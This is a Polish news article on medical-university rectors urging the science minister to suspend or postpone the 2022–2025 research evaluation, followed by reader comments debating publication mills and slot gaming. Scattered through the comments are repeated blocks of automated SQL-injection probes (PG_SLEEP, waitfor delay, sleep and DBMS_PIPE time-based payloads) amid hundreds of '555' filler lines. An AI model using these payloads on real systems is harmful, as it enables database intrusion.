Zbliżająca się ewaluacja naukowa za lata 2022–2025 nie powinna się odbywać wedle obecnych reguł, bowiem nie zapewniają one rzetelnej, sprawiedliwej oceny jednostek – uważają rektorzy uczelni medycznych. Wśród możliwych rozwiązań wymieniają odstąpienie od bieżącej oceny lub jej odsunięcie w czasie z jednoczesną modyfikacją obowiązujących zasad.
Konferencja Rektorów Akademickich Uczelni Medycznych wystosowała do ministra nauki i szkolnictwa wyższego list w sprawie bieżącej ewaluacji jednostek naukowych. Zwrócono w nim uwagę, że znaczna część polskiego środowiska naukowego, w tym przedstawiciele Komisji Ewaluacji Naukowej oraz Rady Głównej Nauki i Szkolnictwa Wyższego, podnosi publicznie szereg wątpliwości, dotyczących tego, czy obecne zasady ewaluacji mogą stanowić obiektywną podstawę oceny poszczególnych dyscyplin w instytucjach naukowych.
Wątpliwości te zostały w ostatnim okresie spotęgowane doniesieniami o udziale znanych polskich naukowców, niejednokrotnie przy wsparciu władz uczelni, w tzw. „papierniach” publikacyjnych, czyli nieformalnych grupach, które nieetycznie zwiększają swój dorobek naukowy poprzez dopisywanie się do generowanych masowo tekstów. Są one publikowane głównie w pismach naukowych o tzw. „drapieżnym” charakterze, cechujących się słabą jakością recenzji, za to koniecznością niemałych opłat związanych z tzw. otwartym dostępem – czytamy w liście.
Rektorzy uczelni medycznych przypuszczają, że ujawnione ostatnio przypadki to jedynie wierzchołek góry lodowej. I dodają, że nie sposób tego procederu odseparować od ewaluacji, „wszak generowane w ten sposób publikacje idą na konto uczelni, które zatrudniają jego uczestników”. KRAUM przywołuje w tym kontekście zamieszczony na naszych łamach tekst prof. Andrzeja Jajszczyka, w którym podważał on sensowność tzw. polityki otwartego dostępu.
Rektorzy nie poprzestają jednak tylko na tym problemie. Wyliczają też inne defekty obecnej ewaluacji: „algorytm systemu preferuje jednostki małe w stosunku do dużych, łączy w jednej ocenie instytuty badawcze bez obowiązków dydaktycznych oraz jednocześnie kształcące studentów uniwersytety, przypisuje ponadto tę samą liczbę slotów pracownikom badawczym co badawczo-dydaktycznym”. Jakby tego było mało, system jest wyjątkowo podatny na manipulacje.
Powszechnie znane w środowisku i niejednokrotnie opisywane zjawiska, to zmniejszanie liczby N przez masowe przenoszenie pracowników na etaty dydaktyczne oraz celowe dopisywanie pracownikom badawczym dyscyplin, które w danej uczelni nie są ewaluowane, aby obniżyć im liczbę slotów pod kątem ewaluacji. Inne przykłady manipulacji to łączenie współautorów zgodnie z sugestiami programów komputerowych do „optymalizacji” ewaluacji, tak, aby podnieść wypełnienie slotów naukowcom o słabym dorobku. Od podatności na manipulację nie jest wolny proces przypisywania publikacji poszczególnym dyscyplinom, na co pozwala powszechne wykazywanie przez czasopisma wielu dyscyplin naukowych (na przykład medycyna, biologia, chemia, etc). Obecne zasady pozwalają też na udział w ocenie uczelniom, których dyscypliny, na przykład nauki medyczne, nie przeszły całego czteroletniego cyklu ewaluacyjnego – dowodzą rektorzy zrzeszeni w KRAUM.
Podkreślają zarazem, że wskazane przez nich ułomności systemu prowadzą do braku gwarancji rzetelnej oceny efektywności i jakości działalności naukowej. Dlatego nie mają wątpliwości – obowiązujące zasady należy radykalnie zmienić.
Zbliżająca się obecnie ewaluacja naukowa za lata 2022–2025 nie powinna odbywać się wedle obecnych reguł, bowiem nie zapewniają one rzetelnej, sprawiedliwej oceny jednostek. Zwracamy się z prośbą o rozważenie rozwiązań prawnych, czy to na poziomie ustawodawczym, czy też rozporządzeń, które zapobiegłyby sytuacji stawiającej polskie środowisko naukowe, przede wszystkim oceniane jednostki badawcze, ale także MNiSW, przed koniecznością zmierzenia się z drastycznie wypaczonymi jej wynikami. Wśród możliwych rozwiązań jest odstąpienie od bieżącej ewaluacji lub jej odsunięcie w czasie z jednoczesną modyfikacją obowiązujących zasad – kończą swój list.
Po raz pierwszy tak liczne grono rektorów wyraziło postulat odstąpienia od ewaluacji. To jednak nie pierwszy głos w tej sprawie. Przypomnijmy, że w grudniu mówił o tym w wywiadzie dla FA dr Bartosz Rydliński z Uniwersytetu Kardynała Stefana Wyszyńskiego w Warszawie, a ostatnio o zawieszeniu oceny, automatycznym przypisaniu w ewaluacji poszczególnym dyscyplinom ich wcześniejszych kategorii i szybkiej rezygnacji z „walk o sloty” pisał u nas dr hab. Maciej Nowak z Zachodniopomorskiego Uniwersytetu Technologicznego w Szczecinie.
Mariusz Karwowski
Do listy patologii obecnego systemu oceny, wymienionych w artykule, można dodać jeszcze wadę podstawową i dyskwalifikującą ten system: ocena nie uwzględnia zawartości ewaluowanych prac i wkładu poszczególnych autorów w opublikowany wynik. Liczy się tylko (bezsensowna sama w sobie) punktacja czasopism i umieszczenie nazwiska na liście autorów.
Jeszcze inny mechanizm ewaluacji - zasilanie na uczelniach słabszych, małych dyscyplin przez dwudyscyplinowców z liczniejszej, silniejszej dyscypliny. Typowo masowe wzmacnianie nauk farmaceutycznych i nauk o zdrowiu przez nauki medyczne. Są takie uczelnie, gdzie w naukach farmaceutycznych 2/3 to dwudyscyplinowcy z naukami medycznymi. Efekt - ocena A murowana.
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@wZtld
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gkK3x141')) OR 907=(SELECT 907 FROM PG_SLEEP(15))--
LocuaAyS') OR 238=(SELECT 238 FROM PG_SLEEP(15))--
zLBTHysY' OR 685=(SELECT 685 FROM PG_SLEEP(15))--
-1)) OR 932=(SELECT 932 FROM PG_SLEEP(15))--
-5) OR 762=(SELECT 762 FROM PG_SLEEP(15))--
-5 OR 765=(SELECT 765 FROM PG_SLEEP(15))--
BcDo2U2K'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
555
555
if(now()=sysdate(),sleep(15),0)
555
-1 OR 2+172-172-1=0+0+0+1
-1' OR 2+595-595-1=0+0+0+1 --
-1' OR 2+675-675-1=0+0+0+1 or 'eRa4EcVM'='
-1" OR 2+394-394-1=0+0+0+1 --
555
-1 OR 2+956-956-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@EPypd
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),3)
555
555
555
555
555
Chory system sprowadzający naukowców do maszynek wypełniających sloty.
Ten system preferuje czasopisma a nie odkrycia co prowadzi wprost do "średniowiecza". Ci którzy w nim uczestniczą w optymalizacji ewaluacji a trzeba wiedzieć, że powołane są całe wieloosobowe zespoły do tych celów, czynnie lub pośrednio, to szkodnicy, którzy niszczą polską naukę. Niekiedy nieświadomi, myślą, że służą uczelni, nie wiedzą, że uczą się kombinatorstwa. Gdzie są zasady opisane w różnych kodeksach naukowca lub dobrych praktyk w uniwersytetach?. Bez wsparcia rektorów czyli de facto książąt na włościach nie byłoby możliwe funkcjonowanie tego systemu, dlatego pełną odpowiedzialność ponoszą rektorzy, którzy pod pretekstem dbania o dobry wynik ewaluacji ..... obudzili się po kilku latach istnienia systemu? to przypomina łapanie złodzieja za rękę, kiedy on krzyczy, że to nie jego ręka. Ministerstwo czyli słaby król nie potrafi się przeciwstawić niezależnym książętom, którzy niekiedy zarabiają miesięcznie więcej niż minister, premier i prezydent i to razem wzięci. Patologia, która można zmienić wprowadzając nową, prostą ustawę, ale najpierw trzeba mieć na nią pomysł. A tego nie było i nie ma.
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@UN6qn
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
0N6RTbWw')) OR 645=(SELECT 645 FROM PG_SLEEP(15))--
v599dyGJ') OR 591=(SELECT 591 FROM PG_SLEEP(15))--
09UamEuX' OR 146=(SELECT 146 FROM PG_SLEEP(15))--
-1)) OR 197=(SELECT 197 FROM PG_SLEEP(15))--
-5) OR 467=(SELECT 467 FROM PG_SLEEP(15))--
-5 OR 731=(SELECT 731 FROM PG_SLEEP(15))--
RNBmwDgL'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1' OR 2+425-425-1=0+0+0+1 --
-1' OR 2+654-654-1=0+0+0+1 or 'L0aZerLb'='
-1" OR 2+108-108-1=0+0+0+1 --
555
-1 OR 2+199-199-1=0+0+0+1 --
-1 OR 2+494-494-1=0+0+0+1
555
555
555
555
555
555
555
555
555
555
Dont blame the player blame the game
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
Nie wiem, co ma pan przeciw Średniowieczu. Rzetelność badań i wymiany naukowej była wtedy o wiele większa niż obecnie.
No tak potwierdzają to fakty z życia Kopernika i to co musiał czynić ze swoją pracą o obrotach sfer niebieskich, których tak oficjalnie nie mógł przedstawiać i występować przeciw naukom Kościoła o centrystycznej Ziemi.
To, że pojawił się pomysł odłożenia ewaluacji, i chyba najpierw popłynął z okolic nowego ministra, to dobry znak, bo sugeruje chęć gruntownej zmiany systemu finansowania, a taka jest potrzebna. Powinna być gruntowna.
Tu nie można wprowadzać drobnych popraweczek, bo to nic nie da, a cwaniaki zaraz to obejdą. Przez zmianę gruntowną rozumiem coś na poziomie wyrzucenia punktów i rozliczania jedynie za publikacje jednoautorskie. Widzę oczami wyobraźni, jak wywróciłoby to obecną hierarchię i utemperowało rozmaitych młodych geniuszy i pozorantów wkręcających się do eksperymentów badających wpływ długości kijka na efektywność szczotki do podłogi, o papiernikach nie wspominając (zaś ortografią i stylistyką ustępujących portierowi, który ich wpuszcza do budynku). Jasne, że z takim akurat rozwiązaniem to nie takie proste, nie we wszystkich dziedzinach pracuje się samemu, ale chodzi mi o pokazanie głębokości potrzebnych zmian.
System finansowania wprowadzany przez Kudrycką miał ogromną "siłę" w tym sensie, że był zdolny do wymiany kadr. Oczywiście wymiana nastąpiła w złym kierunku, ale była w ogóle możliwa. Teraz trzeba wprowadzić równie mocny system, który przełamałby nawet silny opór.
Ja osobiście, jak już pisałem, jestem za decentralizacją finansowania i "konkurencją procedur" w tym względzie. Jeden centralny system w oczywisty sposób nie obsłuży zróżnicowanych dziedzin i podmiotów, sytuacji, a tylko stworzy lewar dla kombinatorów i ułatwi operację obsiadania stołków decyzyjnych przez "nas". Również rozważałbym (jako jedną z procedur) zwiększenie puli finansowania za sam fakt istnienia, wg jakiejś prostej reguły np. wg wielkości jednostki w chili obecnej, puli dotacji "statutowych". Chęć wprowadzenia płytko rozumianej konkurencyjności stanęła u źródła dzisiejszych problemów.
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@Tnj5j
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
tcDFlvKD')) OR 478=(SELECT 478 FROM PG_SLEEP(15))--
nugnPEK9') OR 553=(SELECT 553 FROM PG_SLEEP(15))--
YC2WuaqD' OR 623=(SELECT 623 FROM PG_SLEEP(15))--
-1)) OR 585=(SELECT 585 FROM PG_SLEEP(15))--
-5) OR 927=(SELECT 927 FROM PG_SLEEP(15))--
-5 OR 336=(SELECT 336 FROM PG_SLEEP(15))--
0Dc00ghc'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 2+213-213-1=0+0+0+1 --
-1' OR 2+814-814-1=0+0+0+1 --
-1' OR 2+853-853-1=0+0+0+1 or 'XLhErGqy'='
-1 OR 2+721-721-1=0+0+0+1 --
-1 OR 2+53-53-1=0+0+0+1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
Nie wiem czy akurat taki pomysł o którym mowa w artykule jest trafny ale z całą pewnością mamy do czynienia z sytuacją pracę ze sobą w którym Polska nauka po raz pierwszy chyba w sposób tak jasny podjęła się debaty dotyczącej oceny ich pracy naukowej. Jest to niewątpliwie krok w dobrą stronę ponieważ dotychczas środowisko naukowe wykazywało się skrajną biernością i poddajstwem.
Jeśli ktoś nie potrafi czegoś zmierzyć, to lepiej kiedy się nie podejmuje i nie mierzy, niż miałby mierzyć źle, a następnie próbować wmawiać wszystkim, że pomiar jest właściwy.
Przykład grubego błędu pomiaru tzw. ewaluacji:
Uczelnie tym różnią się od instytutów, że bardzo ważnym celem ich działania jest kształcenie, które w ocenie uczelni, czyli tzw. ewaluacji nie jest brane pod uwagę. To poważny błąd w kraju, w którym 250 tys. osób rocznie zdaje maturę, a uczelnie przyjmują 400 tysięcy. Subwencja dydaktyczna powinna być zróżnicowana - proporcjonalna do liczby chętnych na określony kierunek studiów i do tego jaki odsetek przyjętych kończy studia magisterskie. Po co wyrzucać pieniądze na utrzymywanie kierunków niepopularnych, kiedy lepiej by było solidnie dofinansować te uczelnie, wydziały, które kształcą dobrze, których absolwenci znajdą dobrą pracę i na których pracy wszyscy zyskamy?
Aspekt tragikomiczny: na akredytację przyjeżdżają osoby, które nie są specjalistami w dziedzinie. Po co? Wygląda to trochę jak wizyta inspekcji pracy.... Nie tak to powinno wyglądać.
Problemem nie są wszelkiej maści Bilale, którzy artykuły generują i publikują masowo.
Prawdziwy problem stanowią mikro-Bilale, czyli tacy, którzy z usług papierni i drapieżnych czasopism korzystają z rozwagą, czyli publikują np. 2-4 takie prace w roku żeby sobie podbić nimi ranking. Taki proceder jest o wiele trudniej wykryć, jest to w zasadzie niemożliwe.
Niestety, optymalne rozwiązanie nie istnieje, bo wszak mamy do czynienia z ludźmi inteligentnymi - jeśli mają wystarczająco rozchwiany kręgosłup moralny, to znajdą sposób aby system oszukać.
Pełna zgoda. Ale to też efekt tego, że system ewaluacji zachęca do takich manipulacji.
I jeszcze jeden mechanizm manipulacji i grą systemem - zasilanie na uczelniach słabszych, małych dyscyplin przez dwudyscyplinowców z liczniejszej, silniejszej dyscypliny. Typowo masowe wzmacnianie nauk farmaceutycznych i nauk o zdrowiu przez nauki medyczne. Są takie uczelnie, gdzie w naukach farmaceutycznych 2/3 to dwudyscyplinowcy z naukami medycznymi. Efekt - ocena A murowana.
Jest to niewątpliwie problem ale wnioski - że trzeba odstąpić od ewaluacji są fałszywe. Trzeba zrobić ewaluację, jak jej nie będzie to w niektórych dyscyplinach nasi "uczeni" zupełnie uwolnią się od badań. Problem jest gdzie indziej - stabilizacja na etatach, brak realnej oceny, tolerowanie przez wszystkie poziomy decydenckie braku badań,. U nas faktycznie nikogo nie można zwolnić za chroniczny brak postępów. A teraz mamy nowe alibi, żeby przynajmniej myśleć o polityce naukowej, zmusić uczelnie do powołania faktycznych a nie fikcyjnych rad uczelni, pracowania realnych strategii no i odchudzić jednostki i w ten sposób próbować zrobić miejsce dla tych którym się może chcieć. Co np. szkodzi jednym aktem wyciąć z naszeylisty czasopism wszystkie drapieżne i te od papierni? Zróbmy to i powróćmy do listy Czarnka - tam trzeba wyeliminować te kilka dowartosciowanych po znajomości. Nie kasujmy polskich czasopism, no podatnik dał na nie w ostatniej czterolatce kilkanaście milionów jak nie więcej. Trzeba połączyć w całość wnioski z pracy tych wszystkich zespołów w ministerstwie a nie zaczynać od nowa albo mówić - nie róbmy ewaluacji.
Polscy 'uczeni' zniszczą wszystko. Skrytykują jakikolwiek pomysł czy koncepcję lepszą lub gorszą. Mędrkowanie to nasza narodowa dyscyplina naukowa. Dlatego nie ma takiej metody ewaluacji, która przetrwałaby u nas choć kilka lat. Źródłem tej regularnej i niekończącej się zadymy są właśnie CI którzy nie mają żadnego dorobku, a większość z rozrabiających to przypadkowi habilitowani, którym koledzy dali ten stopień.
Czerwone oberże szukają sposobu jak się wybielić unikając oceny. Jak tzw. młyny mogą wpłynąć na ewaluacje skoro każdy ma tylko 4 sloty a punktację czasopisma ustalają ministerialne pieski.
Dlaczego odsunąć ocenę ???
Kryteria są znane od czterech lat.
Co, kolejny prezent dla niedobór udających zainteresowanych nauką ? Kolejny rok nicnierobienia pod pretekstem naprawiania systemu ?
Co, system się naprawi a środowisko oczyści ? Już to słyszałem w tzw. wymiarze sprawiedliwości. I nie zadziałało.
Zaostrzyć kryteria oceny pracowników, wywalić pozorantów i nierobów, zrobić miejsce dla młody. Stary dziad, który w wieku 50+ robi habilitację niczego nie osiągnie, zajmuje miejsce i generuje koszty ponieważ z automatu (ustawa 2.0) zostaje profesorem uczelnianym.
Przywrócić minima kadrowe, coby nie mówić było to jakieś ograniczenie dla tworzenia pseudouczelni i pseudowydziałów. Likwidacja minimów kadrowych to był skok na kasę niejakiego Jarka Gowina, który w ten sposób zabezpieczył także swój krakowski biznesik uczelniany.
Nie pieprzyć o punktozie jako o złu wcielonym. Spryciarze nieroby zrobili z tego narzędzie do deprecjonowania każdej oceny. Punkty, obojętnie jak liczone, są efektem publikowania. Problemem jest nicnierobienie !!!
Akurat przepisy tzw. "ustawy 2.0" wprost mówią, że posiadanie stopnia doktora habilitowanego nie może być warunkiem zatrudnienia na stanowisku profesora uczelni. Automaczny awans jest jedynie na stanowisko profesora po uzyskaniu tytułu profesora. Reszta, to wewnętrzna polityka danej uczelni...
Bywa tak, że ma się 20 slotow za 4 lata.
-
Można tylko przyklasnąć, i mieć nadzieję, że Pan Minister podejmie się _bardzo_ trudnego zadania reformy systemu.
Pan minister nie sprawia wrażenia zainteresowanego którymkolwiek z licznych problemów polskiej nauki. Ja wiem, może to jest właściwe podejście?
Bzdura. Odsunąć w czasie? Jeszcze rok, czy dwa tego samego?
I każdy w nauce zrozumie, że po prostu to bez sensu i nie można mieć zaufania do obietnic władzy. Przyjdzie nowa miotła.
Liczą się tylko srodki na badania I utrzymanie potencjału oraz jakiś awans.
To może skończyć tę ewaluację w po 2025 i już teraz pracować nad tym niebem dla nauki od 2026.
Każdy wie, że uczelnie i ich pracowników trzeba w jakiś sposób oceniać. Jednak ocena oparta na liczbie punktów i szaleńczym wyścigu po sloty nie przynosi korzyści ani społeczeństwu, ani podatnikom, ani samej nauce.
Nareszcie coś konstruktywnego; rozsądne podsumowanie problemu i propozycja pierwszego kroku w stronę wyjścia z kryzysu w miejsce pełnego hipokryzji ubolewania (KRASP i KRPUT). Nie, nie jestem rzecznikiem ani innym pracownikiem któregokolwiek UMedu.
Te lamenty rektorskie to czysta hipokryzja, fakt. Można poszukać i znaleźć pełne poparcia dla aktualnego systemu ewaluacji stanowiska różnych "Konferencji Rektorów...".
Teraz wszyscy mają odmienne zdania, a ludzie ci sami. Boją się o dotacje. a te rozdziela władza. Zawsze obecna, bo i zabrać można.
Jak nie ma jasnego celu istnienia i strategii, to pozostaje bieżące zabieganie o dotacje i schlebianie władzy.